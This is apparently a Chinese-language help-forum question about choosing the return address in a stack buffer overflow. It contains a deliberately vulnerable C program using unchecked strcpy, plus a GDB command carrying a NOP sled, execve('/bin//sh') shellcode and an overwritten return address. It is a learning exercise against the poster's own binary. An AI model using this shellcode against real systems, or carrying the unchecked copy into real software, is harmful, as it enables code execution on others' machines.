如何正确选择基于堆栈的缓冲区溢出的偏移返回地址

如何解决如何正确选择基于堆栈的缓冲区溢出的偏移返回地址

假设源代码是​​

#include <stdio.h>
#include <string.h>
int main(int argc,char *argv[]) {
    char buf[32];
    strcpy(buf,argv[1]);
    printf("%s\n",buf);
    return 0;
}

在i686-linux-gnu上使用GDB，将断点插入到strcpy（buf，argv 1）行。我已经探索了如果我运行就会发生缓冲区溢出

(gdb) run $(python -c "print('A'*44)")

断点（strcpy）之前堆栈的屏幕截图

断点（strcpy）之后堆栈的屏幕截图

据我所知，我选择了0xbffff280作为返回地址的偏移量。然后，我重新启动gdb，并使用以下代码输入shell

(gdb) run $(python -c "print('\x90'*20+'\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + '\x80\xf2\xff\xbf')")

上面使用的shellcode长为24个字节，因此我将\ x90 * 20放在前面。但是，我无法到达外壳。结果的屏幕截图是

我选择了错误的偏移地址吗？如果是这样，我可以知道正确选择它的诀窍吗。

谢谢！